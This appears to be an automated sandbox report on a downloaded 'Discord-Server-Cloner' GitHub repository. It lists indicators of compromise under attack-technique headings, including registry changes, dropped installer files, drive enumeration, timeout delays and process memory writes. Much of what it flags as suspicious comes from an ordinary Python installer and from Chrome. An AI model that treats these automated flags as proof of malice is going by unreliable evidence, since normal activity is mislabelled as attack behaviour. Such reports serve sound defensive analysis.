hxxps://github[.]com/ciptoxm/Discord-Server-Cloner

description	ioc	Process
Key created	\REGISTRY\USER\S-1-5-21-8492748-3358837828-1435473090-1000_Classes\CLSID\{BEA218D2-6950-497B-9434-61683EC065FE}\InprocServer32	msiexec.exe
Set value (str)	\REGISTRY\USER\S-1-5-21-8492748-3358837828-1435473090-1000_Classes\CLSID\{BEA218D2-6950-497B-9434-61683EC065FE}\InprocServer32\ = "C:\\Users\\Admin\\AppData\\Local\\Programs\\Python\\Launcher\\pyshellext.amd64.dll"	msiexec.exe
Set value (str)	\REGISTRY\USER\S-1-5-21-8492748-3358837828-1435473090-1000_Classes\CLSID\{BEA218D2-6950-497B-9434-61683EC065FE}\InprocServer32\ThreadingModel = "Apartment"	msiexec.exe

Adds Run key to start application 2 TTPs 1 IoCs

persistence

Registry Run Keys / Startup Folder

Modify Registry

T1112

description	ioc	Process
Set value (str)	\REGISTRY\USER\S-1-5-21-8492748-3358837828-1435473090-1000\Software\Microsoft\Windows\CurrentVersion\RunOnce\{5ee4d2b6-a5dc-4321-b6bd-3ebc98120a51} = "\"C:\\Users\\Admin\\AppData\\Local\\Package Cache\\{5ee4d2b6-a5dc-4321-b6bd-3ebc98120a51}\\python-3.12.3-amd64.exe\" /burn.runonce"	python-3.12.3-amd64.exe

Checks installed software on the system 1 TTPs
Looks up Uninstall key entries in the registry to enumerate software on the system.
discovery

Query Registry
T1012

Enumerates connected drives 3 TTPs 23 IoCs

Attempts to read the root path of hard drives other than the default C: drive.

Query Registry

Peripheral Device Discovery

T1120

System Information Discovery

description	ioc	Process
File opened (read-only)	\??\M:	msiexec.exe
File opened (read-only)	\??\O:	msiexec.exe
File opened (read-only)	\??\P:	msiexec.exe
File opened (read-only)	\??\R:	msiexec.exe
File opened (read-only)	\??\U:	msiexec.exe
File opened (read-only)	\??\W:	msiexec.exe
File opened (read-only)	\??\A:	msiexec.exe
File opened (read-only)	\??\I:	msiexec.exe
File opened (read-only)	\??\X:	msiexec.exe
File opened (read-only)	\??\Z:	msiexec.exe
File opened (read-only)	\??\L:	msiexec.exe
File opened (read-only)	\??\S:	msiexec.exe
File opened (read-only)	\??\T:	msiexec.exe
File opened (read-only)	\??\H:	msiexec.exe
File opened (read-only)	\??\K:	msiexec.exe
File opened (read-only)	\??\Q:	msiexec.exe
File opened (read-only)	\??\V:	msiexec.exe
File opened (read-only)	\??\Y:	msiexec.exe
File opened (read-only)	\??\J:	msiexec.exe
File opened (read-only)	\??\N:	msiexec.exe
File opened (read-only)	\??\G:	msiexec.exe
File opened (read-only)	\??\B:	msiexec.exe
File opened (read-only)	\??\E:	msiexec.exe

Legitimate hosting services abused for malware hosting/C2 1 TTPs 2 IoCs

Web Service

T1102

flow	ioc
6	camo.githubusercontent.com
14	camo.githubusercontent.com

Drops file in Windows directory 64 IoCs

description	ioc	Process
File opened for modification	C:\Windows\Installer\e586c1d.msi	msiexec.exe
File created	C:\Windows\Installer\e586c27.msi	msiexec.exe
File created	C:\Windows\Installer\SourceHash{575FEF7A-71FE-437E-91B0-D3838C1026DA}	msiexec.exe
File created	C:\Windows\SystemTemp\~DFA89428CECF73EC31.TMP	msiexec.exe
File opened for modification	C:\Windows\Installer\MSI4A55.tmp	msiexec.exe
File created	C:\Windows\SystemTemp\~DF133B9B4881183F8F.TMP	msiexec.exe
File created	C:\Windows\Installer\e586c26.msi	msiexec.exe
File created	C:\Windows\SystemTemp\~DFE222AF7D513A571E.TMP	msiexec.exe
File created	C:\Windows\SystemTemp\~DFD0C5B5096A7B0C37.TMP	msiexec.exe
File created	C:\Windows\Installer\e586c40.msi	msiexec.exe
File created	C:\Windows\Installer\SourceHash{474E5879-A9D5-4DF5-9385-ADF7E224CEC7}	msiexec.exe
File created	C:\Windows\SystemTemp\~DF3E599ED6724C50F9.TMP	msiexec.exe
File opened for modification	C:\Windows\Installer\e586c2c.msi	msiexec.exe
File opened for modification	C:\Windows\Installer\e586c31.msi	msiexec.exe
File created	C:\Windows\SystemTemp\~DFF6436935FEBC0A5C.TMP	msiexec.exe
File created	C:\Windows\Installer\e586c3a.msi	msiexec.exe
File created	C:\Windows\SystemTemp\~DF1623392397BCBC1F.TMP	msiexec.exe
File created	C:\Windows\Installer\e586c22.msi	msiexec.exe
File created	C:\Windows\Installer\e586c2b.msi	msiexec.exe
File created	C:\Windows\SystemTemp\~DF725D50AE8F7F1B17.TMP	msiexec.exe
File created	C:\Windows\SystemTemp\~DF4C19CE221C937B46.TMP	msiexec.exe
File created	C:\Windows\SystemTemp\~DFE8D6A12495121E7F.TMP	msiexec.exe
File created	C:\Windows\Installer\SourceHash{A2FC8FF0-021A-431C-826E-E4B85D3F064F}	msiexec.exe
File created	C:\Windows\SystemTemp\~DFAD4C78D8911A26E7.TMP	msiexec.exe
File created	C:\Windows\Installer\SourceHash{8FB3DEFF-4D86-4889-9B0A-0FE7AE90D7C9}	msiexec.exe
File created	C:\Windows\Installer\e586c44.msi	msiexec.exe
File created	C:\Windows\Installer\SourceHash{5C195EDE-CE8F-4C5C-A4B8-B60913B9C2B9}	msiexec.exe
File created	C:\Windows\SystemTemp\~DF4F0399C8085B9AA6.TMP	msiexec.exe
File opened for modification	C:\Windows\Installer\e586c13.msi	msiexec.exe
File opened for modification	C:\Windows\Microsoft.NET\Framework64\v4.0.30319\ngen.log	msiexec.exe
File opened for modification	C:\Windows\Installer\e586c18.msi	msiexec.exe
File opened for modification	C:\Windows\Installer\MSI78A7.tmp	msiexec.exe
File created	C:\Windows\Installer\e586c1d.msi	msiexec.exe
File created	C:\Windows\SystemTemp\~DF76863B514DC199E2.TMP	msiexec.exe
File opened for modification	C:\Windows\Installer\e586c36.msi	msiexec.exe
File created	C:\Windows\Installer\SourceHash{837260D6-3959-452B-A557-666302BEA663}	msiexec.exe
File opened for modification	C:\Windows\Installer\e586c40.msi	msiexec.exe
File created	C:\Windows\Installer\e586c13.msi	msiexec.exe
File created	C:\Windows\Installer\SourceHash{3519C7D0-70D4-46F5-A0A9-3A115D73E2EC}	msiexec.exe
File created	C:\Windows\Installer\e586c30.msi	msiexec.exe
File created	C:\Windows\Installer\e586c31.msi	msiexec.exe
File created	C:\Windows\SystemTemp\~DFB4D0090812B5AC6D.TMP	msiexec.exe
File created	C:\Windows\SystemTemp\~DFC82B5286FA8288DE.TMP	msiexec.exe
File created	C:\Windows\SystemTemp\~DFA8EF391BDE59CD2A.TMP	msiexec.exe
File created	C:\Windows\Installer\inprogressinstallinfo.ipi	msiexec.exe
File created	C:\Windows\SystemTemp\~DFB5C529914F8675C4.TMP	msiexec.exe
File opened for modification	C:\Windows\Installer\MSIFDAA.tmp	msiexec.exe
File created	C:\Windows\SystemTemp\~DF79FDD0026588472A.TMP	msiexec.exe
File created	C:\Windows\Installer\SourceHash{52ABF617-F7B4-40F9-8197-C7490DAA97A3}	msiexec.exe
File opened for modification	C:\Windows\Installer\MSIA75C.tmp	msiexec.exe
File opened for modification	C:\Windows\Installer\	msiexec.exe
File created	C:\Windows\Installer\e586c18.msi	msiexec.exe
File created	C:\Windows\SystemTemp\~DF77AE1300474979BF.TMP	msiexec.exe
File created	C:\Windows\SystemTemp\~DFFD499F61A9A36A79.TMP	msiexec.exe
File created	C:\Windows\Installer\e586c2c.msi	msiexec.exe
File opened for modification	C:\Windows\Installer\MSI2111.tmp	msiexec.exe
File created	C:\Windows\SystemTemp\~DF110780AFF3E5AC72.TMP	msiexec.exe
File opened for modification	C:\Windows\Installer\MSI72D9.tmp	msiexec.exe
File created	C:\Windows\Installer\e586c17.msi	msiexec.exe
File created	C:\Windows\SystemTemp\~DFFEA7EF54A6D3A474.TMP	msiexec.exe
File created	C:\Windows\SystemTemp\~DFA0EF3D9D2F6CAC13.TMP	msiexec.exe
File created	C:\Windows\SystemTemp\~DF4A333127D171CAA3.TMP	msiexec.exe
File created	C:\Windows\Installer\e586c3b.msi	msiexec.exe
File opened for modification	C:\Windows\Installer\MSI4EAB.tmp	msiexec.exe

Checks processor information in registry 2 TTPs 2 IoCs

Processor information is often read in order to detect sandboxing environments.

Query Registry

System Information Discovery

description	ioc	Process
Key value queried	\REGISTRY\MACHINE\HARDWARE\DESCRIPTION\System\CentralProcessor\0\~MHz	AcroRd32.exe
Key opened	\REGISTRY\MACHINE\HARDWARE\DESCRIPTION\System\CentralProcessor\0	AcroRd32.exe

Delays execution with timeout.exe 6 IoCs

evasion

pid	Process
1644	timeout.exe
3380	timeout.exe
2200	timeout.exe
2824	timeout.exe
2936	timeout.exe
3428	timeout.exe

Enumerates system info in registry 2 TTPs 3 IoCs

Query Registry

System Information Discovery

description	ioc	Process
Key value queried	\REGISTRY\MACHINE\HARDWARE\DESCRIPTION\System\BIOS\SystemProductName	chrome.exe
Key value queried	\REGISTRY\MACHINE\HARDWARE\DESCRIPTION\System\BIOS\SystemManufacturer	chrome.exe
Key opened	\REGISTRY\MACHINE\HARDWARE\DESCRIPTION\System\BIOS	chrome.exe

Modifies Internet Explorer settings 1 TTPs 1 IoCs

adware spyware

Modify Registry

T1112

description	ioc	Process
Key created	\REGISTRY\USER\S-1-5-21-8492748-3358837828-1435473090-1000\SOFTWARE\Microsoft\Internet Explorer\Main\FeatureControl\FEATURE_BROWSER_EMULATION	AcroRd32.exe

Modifies data under HKEY_USERS 2 IoCs

description	ioc	Process
Key created	\REGISTRY\USER\S-1-5-19\Software\Microsoft\Cryptography\TPM\Telemetry	chrome.exe
Set value (int)	\REGISTRY\USER\S-1-5-19\Software\Microsoft\Cryptography\TPM\Telemetry\TraceTimeLast = "133579686102568887"	chrome.exe

Modifies registry class 64 IoCs

description	ioc	Process
Set value (str)	\REGISTRY\USER\S-1-5-21-8492748-3358837828-1435473090-1000_Classes\.py\ = "Python.File"	msiexec.exe
Key created	\REGISTRY\USER\S-1-5-21-8492748-3358837828-1435473090-1000_Classes\Python.File\shellex\DropHandler	msiexec.exe
Set value (str)	\REGISTRY\USER\S-1-5-21-8492748-3358837828-1435473090-1000_Classes\Installer\Dependencies\{8FB3DEFF-4D86-4889-9B0A-0FE7AE90D7C9}\ = "{8FB3DEFF-4D86-4889-9B0A-0FE7AE90D7C9}"	python-3.12.3-amd64.exe
Key created	\REGISTRY\USER\S-1-5-21-8492748-3358837828-1435473090-1000_Classes\Installer\Dependencies\{A1839EB2-3C30-4BCD-AACF-04F6FF6C90CD}	python-3.12.3-amd64.exe
Set value (str)	\REGISTRY\USER\S-1-5-21-8492748-3358837828-1435473090-1000_Classes\Installer\Dependencies\{A1839EB2-3C30-4BCD-AACF-04F6FF6C90CD}\DisplayName = "Python 3.12.3 Standard Library (64-bit)"	python-3.12.3-amd64.exe
Set value (str)	\REGISTRY\USER\S-1-5-21-8492748-3358837828-1435473090-1000_Classes\Installer\Dependencies\{52ABF617-F7B4-40F9-8197-C7490DAA97A3}\ = "{52ABF617-F7B4-40F9-8197-C7490DAA97A3}"	python-3.12.3-amd64.exe
Set value (str)	\REGISTRY\USER\S-1-5-21-8492748-3358837828-1435473090-1000_Classes\Installer\Dependencies\{575FEF7A-71FE-437E-91B0-D3838C1026DA}\Version = "3.12.3150.0"	python-3.12.3-amd64.exe
Key created	\REGISTRY\USER\S-1-5-21-8492748-3358837828-1435473090-1000_Classes\Installer\Dependencies\{A2FC8FF0-021A-431C-826E-E4B85D3F064F}\Dependents	python-3.12.3-amd64.exe
Key created	\REGISTRY\USER\S-1-5-21-8492748-3358837828-1435473090-1000_Classes\Python.CompiledFile\shellex\DropHandler	msiexec.exe
Set value (str)	\REGISTRY\USER\S-1-5-21-8492748-3358837828-1435473090-1000_Classes\.pyz\Content Type = "application/x-zip-compressed"	msiexec.exe
Key created	\REGISTRY\USER\S-1-5-21-8492748-3358837828-1435473090-1000_Classes\Installer\Dependencies\{8FB3DEFF-4D86-4889-9B0A-0FE7AE90D7C9}	python-3.12.3-amd64.exe
Key created	\REGISTRY\USER\S-1-5-21-8492748-3358837828-1435473090-1000_Classes\Installer\Dependencies\{8EB1F259-1326-4583-B383-F5C3D7C93D7D}	python-3.12.3-amd64.exe
Key created	\REGISTRY\USER\S-1-5-21-8492748-3358837828-1435473090-1000_Classes\Installer\Dependencies\{575FEF7A-71FE-437E-91B0-D3838C1026DA}	python-3.12.3-amd64.exe
Set value (str)	\REGISTRY\USER\S-1-5-21-8492748-3358837828-1435473090-1000_Classes\Python.NoConFile\Shell\editwithidle\MUIVerb = "&Edit with IDLE"	msiexec.exe
Key created	\REGISTRY\USER\S-1-5-21-8492748-3358837828-1435473090-1000_Classes\Python.NoConFile\shell\open\command	msiexec.exe
Set value (str)	\REGISTRY\USER\S-1-5-21-8492748-3358837828-1435473090-1000_Classes\Python.CompiledFile\shellex\DropHandler\ = "{BEA218D2-6950-497B-9434-61683EC065FE}"	msiexec.exe
Set value (str)	\REGISTRY\USER\S-1-5-21-8492748-3358837828-1435473090-1000_Classes\Installer\Dependencies\{575FEF7A-71FE-437E-91B0-D3838C1026DA}\ = "{575FEF7A-71FE-437E-91B0-D3838C1026DA}"	python-3.12.3-amd64.exe
Set value (str)	\REGISTRY\USER\S-1-5-21-8492748-3358837828-1435473090-1000_Classes\Installer\Dependencies\{5C195EDE-CE8F-4C5C-A4B8-B60913B9C2B9}\ = "{5C195EDE-CE8F-4C5C-A4B8-B60913B9C2B9}"	python-3.12.3-amd64.exe
Key created	\REGISTRY\USER\S-1-5-21-8492748-3358837828-1435473090-1000_Classes\Python.File\shell\open\command	msiexec.exe
Set value (str)	\REGISTRY\USER\S-1-5-21-8492748-3358837828-1435473090-1000_Classes\Installer\Dependencies\{5C195EDE-CE8F-4C5C-A4B8-B60913B9C2B9}\Version = "3.12.3150.0"	python-3.12.3-amd64.exe
Key created	\REGISTRY\USER\S-1-5-21-8492748-3358837828-1435473090-1000_Classes\Python.File\Shell\editwithidle\shell\edit312\command	msiexec.exe
Key created	\REGISTRY\USER\S-1-5-21-8492748-3358837828-1435473090-1000_Classes\Python.NoConFile\Shell\editwithidle\shell\edit312	msiexec.exe
Key created	\REGISTRY\USER\S-1-5-21-8492748-3358837828-1435473090-1000_Classes\Python.File\Shell\open\command	msiexec.exe
Key created	\REGISTRY\USER\S-1-5-21-8492748-3358837828-1435473090-1000_Classes\Python.NoConFile\shellex\DropHandler	msiexec.exe
Key created	\REGISTRY\USER\S-1-5-21-8492748-3358837828-1435473090-1000_Classes\Installer	python-3.12.3-amd64.exe
Set value (str)	\REGISTRY\USER\S-1-5-21-8492748-3358837828-1435473090-1000_Classes\Installer\Dependencies\{575FEF7A-71FE-437E-91B0-D3838C1026DA}\DisplayName = "Python 3.12.3 Test Suite (64-bit)"	python-3.12.3-amd64.exe
Key created	\REGISTRY\USER\S-1-5-21-8492748-3358837828-1435473090-1000_Classes\Installer\Dependencies\{575FEF7A-71FE-437E-91B0-D3838C1026DA}\Dependents\{5ee4d2b6-a5dc-4321-b6bd-3ebc98120a51}	python-3.12.3-amd64.exe
Key created	\REGISTRY\USER\S-1-5-21-8492748-3358837828-1435473090-1000_Classes\Python.ArchiveFile\shell\open	msiexec.exe
Set value (str)	\REGISTRY\USER\S-1-5-21-8492748-3358837828-1435473090-1000_Classes\Python.NoConArchiveFile\shell\open\command\ = "\"C:\\Users\\Admin\\AppData\\Local\\Programs\\Python\\Launcher\\pyw.exe\" \"%L\" %*"	msiexec.exe
Key created	\REGISTRY\USER\S-1-5-21-8492748-3358837828-1435473090-1000_Classes\Installer\Dependencies\{8FB3DEFF-4D86-4889-9B0A-0FE7AE90D7C9}\Dependents\{5ee4d2b6-a5dc-4321-b6bd-3ebc98120a51}	python-3.12.3-amd64.exe
Key created	\REGISTRY\USER\S-1-5-21-8492748-3358837828-1435473090-1000_Classes\Installer\Dependencies	python-3.12.3-amd64.exe
Set value (str)	\REGISTRY\USER\S-1-5-21-8492748-3358837828-1435473090-1000_Classes\Installer\Dependencies\{A2FC8FF0-021A-431C-826E-E4B85D3F064F}\ = "{A2FC8FF0-021A-431C-826E-E4B85D3F064F}"	python-3.12.3-amd64.exe
Set value (str)	\REGISTRY\USER\S-1-5-21-8492748-3358837828-1435473090-1000_Classes\Python.NoConFile\Shell\editwithidle\Subcommands	msiexec.exe
Set value (str)	\REGISTRY\USER\S-1-5-21-8492748-3358837828-1435473090-1000_Classes\Python.NoConArchiveFile\ = "Python Zip Application File (no console)"	msiexec.exe
Key created	\REGISTRY\USER\S-1-5-21-8492748-3358837828-1435473090-1000_Classes\Python.NoConArchiveFile\shellex\DropHandler	msiexec.exe
Key created	\REGISTRY\USER\S-1-5-21-8492748-3358837828-1435473090-1000_Classes\json_auto_file\shell\Read	OpenWith.exe
Key created	\REGISTRY\USER\S-1-5-21-8492748-3358837828-1435473090-1000_Classes\Python.CompiledFile\shell	msiexec.exe
Key created	\REGISTRY\USER\S-1-5-21-8492748-3358837828-1435473090-1000_Classes\Python.ArchiveFile	msiexec.exe
Set value (str)	\REGISTRY\USER\S-1-5-21-8492748-3358837828-1435473090-1000_Classes\Python.ArchiveFile\shellex\DropHandler\ = "{BEA218D2-6950-497B-9434-61683EC065FE}"	msiexec.exe
Key created	\REGISTRY\USER\S-1-5-21-8492748-3358837828-1435473090-1000_Classes\Python.CompiledFile\shell\open\command	msiexec.exe
Set value (str)	\REGISTRY\USER\S-1-5-21-8492748-3358837828-1435473090-1000_Classes\.pyo\ = "Python.CompiledFile"	msiexec.exe
Set value (str)	\REGISTRY\USER\S-1-5-21-8492748-3358837828-1435473090-1000_Classes\Python.CompiledFile\DefaultIcon\ = "\"C:\\Users\\Admin\\AppData\\Local\\Programs\\Python\\Launcher\\py.exe\",2"	msiexec.exe
Set value (str)	\REGISTRY\USER\S-1-5-21-8492748-3358837828-1435473090-1000_Classes\Python.NoConArchiveFile\shellex\DropHandler\ = "{BEA218D2-6950-497B-9434-61683EC065FE}"	msiexec.exe
Key created	\REGISTRY\USER\S-1-5-21-8492748-3358837828-1435473090-1000_Classes\Local Settings	chrome.exe
Key created	\REGISTRY\USER\S-1-5-21-8492748-3358837828-1435473090-1000_Classes\Installer\Dependencies\{5C195EDE-CE8F-4C5C-A4B8-B60913B9C2B9}	python-3.12.3-amd64.exe
Set value (str)	\REGISTRY\USER\S-1-5-21-8492748-3358837828-1435473090-1000_Classes\Python.NoConFile\Shell\editwithidle\shell\edit312\MUIVerb = "Edit with IDLE 3.12 (64-bit)"	msiexec.exe
Set value (str)	\REGISTRY\USER\S-1-5-21-8492748-3358837828-1435473090-1000_Classes\Python.NoConFile\ = "Python File (no console)"	msiexec.exe
Set value (str)	\REGISTRY\USER\S-1-5-21-8492748-3358837828-1435473090-1000_Classes\Python.ArchiveFile\ = "Python Zip Application File"	msiexec.exe
Key created	\REGISTRY\USER\S-1-5-21-8492748-3358837828-1435473090-1000_Classes\.pyzw	msiexec.exe
Key created	\REGISTRY\USER\S-1-5-21-8492748-3358837828-1435473090-1000_Classes\Python.NoConArchiveFile\DefaultIcon	msiexec.exe
Set value (str)	\REGISTRY\USER\S-1-5-21-8492748-3358837828-1435473090-1000_Classes\Installer\Dependencies\{8FB3DEFF-4D86-4889-9B0A-0FE7AE90D7C9}\DisplayName = "Python 3.12.3 Add to Path (64-bit)"	python-3.12.3-amd64.exe
Key created	\REGISTRY\USER\S-1-5-21-8492748-3358837828-1435473090-1000_Classes\Installer\Dependencies\{8EB1F259-1326-4583-B383-F5C3D7C93D7D}\Dependents	python-3.12.3-amd64.exe
Set value (str)	\REGISTRY\USER\S-1-5-21-8492748-3358837828-1435473090-1000_Classes\Installer\Dependencies\{A1839EB2-3C30-4BCD-AACF-04F6FF6C90CD}\ = "{A1839EB2-3C30-4BCD-AACF-04F6FF6C90CD}"	python-3.12.3-amd64.exe
Key created	\REGISTRY\USER\S-1-5-21-8492748-3358837828-1435473090-1000_Classes\Installer\Dependencies\{575FEF7A-71FE-437E-91B0-D3838C1026DA}\Dependents	python-3.12.3-amd64.exe
Set value (str)	\REGISTRY\USER\S-1-5-21-8492748-3358837828-1435473090-1000_Classes\.pyzw\Content Type = "application/x-zip-compressed"	msiexec.exe
Key created	\REGISTRY\USER\S-1-5-21-8492748-3358837828-1435473090-1000_Classes\Installer\Dependencies\{3519C7D0-70D4-46F5-A0A9-3A115D73E2EC}\Dependents\{5ee4d2b6-a5dc-4321-b6bd-3ebc98120a51}	python-3.12.3-amd64.exe
Set value (str)	\REGISTRY\USER\S-1-5-21-8492748-3358837828-1435473090-1000_Classes\Installer\Dependencies\{52ABF617-F7B4-40F9-8197-C7490DAA97A3}\DisplayName = "Python Launcher"	python-3.12.3-amd64.exe
Set value (str)	\REGISTRY\USER\S-1-5-21-8492748-3358837828-1435473090-1000_Classes\.pyz\ = "Python.ArchiveFile"	msiexec.exe
Key created	\REGISTRY\USER\S-1-5-21-8492748-3358837828-1435473090-1000_Classes\Python.File\Shell	msiexec.exe
Set value (str)	\REGISTRY\USER\S-1-5-21-8492748-3358837828-1435473090-1000_Classes\Python.File\Shell\open\command\ = "\"C:\\Users\\Admin\\AppData\\Local\\Programs\\Python\\Launcher\\py.exe\" \"%L\" %*"	msiexec.exe
Set value (str)	\REGISTRY\USER\S-1-5-21-8492748-3358837828-1435473090-1000_Classes\.py\Content Type = "text/x-python"	msiexec.exe
Set value (str)	\REGISTRY\USER\S-1-5-21-8492748-3358837828-1435473090-1000_Classes\Python.File\ = "Python File"	msiexec.exe
Set value (str)	\REGISTRY\USER\S-1-5-21-8492748-3358837828-1435473090-1000_Classes\CLSID\{BEA218D2-6950-497B-9434-61683EC065FE}\InprocServer32\ = "C:\\Users\\Admin\\AppData\\Local\\Programs\\Python\\Launcher\\pyshellext.amd64.dll"	msiexec.exe
Set value (str)	\REGISTRY\USER\S-1-5-21-8492748-3358837828-1435473090-1000_Classes\Installer\Dependencies\CPython-3.12\Version = "3.12.3150.0"	python-3.12.3-amd64.exe

NTFS ADS 2 IoCs

description	ioc	Process
File opened for modification	C:\Users\Admin\Downloads\Discord-Server-Cloner-main.zip:Zone.Identifier	chrome.exe
File opened for modification	C:\Users\Admin\Downloads\python-3.12.3-amd64.exe:Zone.Identifier	chrome.exe

Suspicious behavior: EnumeratesProcesses 39 IoCs

pid	Process
916	chrome.exe
916	chrome.exe
2028	msiexec.exe
2028	msiexec.exe
2028	msiexec.exe
2028	msiexec.exe
2028	msiexec.exe
2028	msiexec.exe
2028	msiexec.exe
2028	msiexec.exe
2028	msiexec.exe
2028	msiexec.exe
2028	msiexec.exe
2028	msiexec.exe
2028	msiexec.exe
2028	msiexec.exe
2028	msiexec.exe
2028	msiexec.exe
2028	msiexec.exe
2028	msiexec.exe
2028	msiexec.exe
2028	msiexec.exe
2316	powershell.exe
2316	powershell.exe
2476	powershell.exe
2476	powershell.exe
4248	powershell.exe
4248	powershell.exe
2060	powershell.exe
2060	powershell.exe
3356	powershell.exe
3356	powershell.exe
3120	powershell.exe
3120	powershell.exe
1820	powershell.exe
1820	powershell.exe
3296	powershell.exe
3296	powershell.exe
3296	powershell.exe

Suspicious behavior: NtCreateUserProcessBlockNonMicrosoftBinary 7 IoCs

pid	Process
916	chrome.exe
916	chrome.exe
916	chrome.exe
916	chrome.exe
916	chrome.exe
916	chrome.exe
916	chrome.exe

Suspicious use of AdjustPrivilegeToken 64 IoCs

description	pid	Process
Token: SeShutdownPrivilege	916	chrome.exe
Token: SeCreatePagefilePrivilege	916	chrome.exe
Token: SeShutdownPrivilege	916	chrome.exe
Token: SeCreatePagefilePrivilege	916	chrome.exe
Token: SeShutdownPrivilege	916	chrome.exe
Token: SeCreatePagefilePrivilege	916	chrome.exe
Token: SeShutdownPrivilege	916	chrome.exe
Token: SeCreatePagefilePrivilege	916	chrome.exe
Token: SeShutdownPrivilege	916	chrome.exe
Token: SeCreatePagefilePrivilege	916	chrome.exe
Token: SeShutdownPrivilege	916	chrome.exe
Token: SeCreatePagefilePrivilege	916	chrome.exe
Token: SeShutdownPrivilege	916	chrome.exe
Token: SeCreatePagefilePrivilege	916	chrome.exe
Token: SeShutdownPrivilege	916	chrome.exe
Token: SeCreatePagefilePrivilege	916	chrome.exe
Token: SeShutdownPrivilege	916	chrome.exe
Token: SeCreatePagefilePrivilege	916	chrome.exe
Token: SeShutdownPrivilege	916	chrome.exe
Token: SeCreatePagefilePrivilege	916	chrome.exe
Token: SeShutdownPrivilege	916	chrome.exe
Token: SeCreatePagefilePrivilege	916	chrome.exe
Token: SeShutdownPrivilege	916	chrome.exe
Token: SeCreatePagefilePrivilege	916	chrome.exe
Token: SeShutdownPrivilege	916	chrome.exe
Token: SeCreatePagefilePrivilege	916	chrome.exe
Token: SeShutdownPrivilege	916	chrome.exe
Token: SeCreatePagefilePrivilege	916	chrome.exe
Token: SeShutdownPrivilege	916	chrome.exe
Token: SeCreatePagefilePrivilege	916	chrome.exe
Token: SeShutdownPrivilege	916	chrome.exe
Token: SeCreatePagefilePrivilege	916	chrome.exe
Token: SeShutdownPrivilege	916	chrome.exe
Token: SeCreatePagefilePrivilege	916	chrome.exe
Token: SeShutdownPrivilege	916	chrome.exe
Token: SeCreatePagefilePrivilege	916	chrome.exe
Token: SeShutdownPrivilege	916	chrome.exe
Token: SeCreatePagefilePrivilege	916	chrome.exe
Token: SeShutdownPrivilege	916	chrome.exe
Token: SeCreatePagefilePrivilege	916	chrome.exe
Token: SeShutdownPrivilege	916	chrome.exe
Token: SeCreatePagefilePrivilege	916	chrome.exe
Token: SeShutdownPrivilege	916	chrome.exe
Token: SeCreatePagefilePrivilege	916	chrome.exe
Token: SeShutdownPrivilege	916	chrome.exe
Token: SeCreatePagefilePrivilege	916	chrome.exe
Token: SeShutdownPrivilege	916	chrome.exe
Token: SeCreatePagefilePrivilege	916	chrome.exe
Token: SeShutdownPrivilege	916	chrome.exe
Token: SeCreatePagefilePrivilege	916	chrome.exe
Token: SeShutdownPrivilege	916	chrome.exe
Token: SeCreatePagefilePrivilege	916	chrome.exe
Token: SeShutdownPrivilege	916	chrome.exe
Token: SeCreatePagefilePrivilege	916	chrome.exe
Token: SeShutdownPrivilege	916	chrome.exe
Token: SeCreatePagefilePrivilege	916	chrome.exe
Token: SeShutdownPrivilege	916	chrome.exe
Token: SeCreatePagefilePrivilege	916	chrome.exe
Token: SeShutdownPrivilege	916	chrome.exe
Token: SeCreatePagefilePrivilege	916	chrome.exe
Token: SeShutdownPrivilege	916	chrome.exe
Token: SeCreatePagefilePrivilege	916	chrome.exe
Token: SeShutdownPrivilege	916	chrome.exe
Token: SeCreatePagefilePrivilege	916	chrome.exe

Suspicious use of FindShellTrayWindow 49 IoCs

pid	Process
916	chrome.exe
916	chrome.exe
916	chrome.exe
916	chrome.exe
916	chrome.exe
916	chrome.exe
916	chrome.exe
916	chrome.exe
916	chrome.exe
916	chrome.exe
916	chrome.exe
916	chrome.exe
916	chrome.exe
916	chrome.exe
916	chrome.exe
916	chrome.exe
916	chrome.exe
916	chrome.exe
916	chrome.exe
916	chrome.exe
916	chrome.exe
916	chrome.exe
916	chrome.exe
916	chrome.exe
916	chrome.exe
916	chrome.exe
916	chrome.exe
916	chrome.exe
916	chrome.exe
916	chrome.exe
916	chrome.exe
916	chrome.exe
916	chrome.exe
916	chrome.exe
916	chrome.exe
916	chrome.exe
916	chrome.exe
916	chrome.exe
916	chrome.exe
916	chrome.exe
916	chrome.exe
916	chrome.exe
916	chrome.exe
916	chrome.exe
916	chrome.exe
916	chrome.exe
916	chrome.exe
4432	python-3.12.3-amd64.exe
916	chrome.exe

Suspicious use of SendNotifyMessage 12 IoCs

pid	Process
916	chrome.exe
916	chrome.exe
916	chrome.exe
916	chrome.exe
916	chrome.exe
916	chrome.exe
916	chrome.exe
916	chrome.exe
916	chrome.exe
916	chrome.exe
916	chrome.exe
916	chrome.exe

Suspicious use of SetWindowsHookEx 15 IoCs

pid	Process
1392	OpenWith.exe
1392	OpenWith.exe
1392	OpenWith.exe
1392	OpenWith.exe
1392	OpenWith.exe
1392	OpenWith.exe
1392	OpenWith.exe
1392	OpenWith.exe
1392	OpenWith.exe
1392	OpenWith.exe
1392	OpenWith.exe
3660	AcroRd32.exe
3660	AcroRd32.exe
3660	AcroRd32.exe
3660	AcroRd32.exe

Suspicious use of WriteProcessMemory 64 IoCs

description	pid	Process	procid_target
PID 916 wrote to memory of 928	916	chrome.exe	81
PID 916 wrote to memory of 928	916	chrome.exe	81
PID 916 wrote to memory of 1348	916	chrome.exe	82
PID 916 wrote to memory of 1348	916	chrome.exe	82
PID 916 wrote to memory of 1348	916	chrome.exe	82
PID 916 wrote to memory of 1348	916	chrome.exe	82
PID 916 wrote to memory of 1348	916	chrome.exe	82
PID 916 wrote to memory of 1348	916	chrome.exe	82
PID 916 wrote to memory of 1348	916	chrome.exe	82
PID 916 wrote to memory of 1348	916	chrome.exe	82
PID 916 wrote to memory of 1348	916	chrome.exe	82
PID 916 wrote to memory of 1348	916	chrome.exe	82
PID 916 wrote to memory of 1348	916	chrome.exe	82
PID 916 wrote to memory of 1348	916	chrome.exe	82
PID 916 wrote to memory of 1348	916	chrome.exe	82
PID 916 wrote to memory of 1348	916	chrome.exe	82
PID 916 wrote to memory of 1348	916	chrome.exe	82
PID 916 wrote to memory of 1348	916	chrome.exe	82
PID 916 wrote to memory of 1348	916	chrome.exe	82
PID 916 wrote to memory of 1348	916	chrome.exe	82
PID 916 wrote to memory of 1348	916	chrome.exe	82
PID 916 wrote to memory of 1348	916	chrome.exe	82
PID 916 wrote to memory of 1348	916	chrome.exe	82
PID 916 wrote to memory of 1348	916	chrome.exe	82
PID 916 wrote to memory of 1348	916	chrome.exe	82
PID 916 wrote to memory of 1348	916	chrome.exe	82
PID 916 wrote to memory of 1348	916	chrome.exe	82
PID 916 wrote to memory of 1348	916	chrome.exe	82
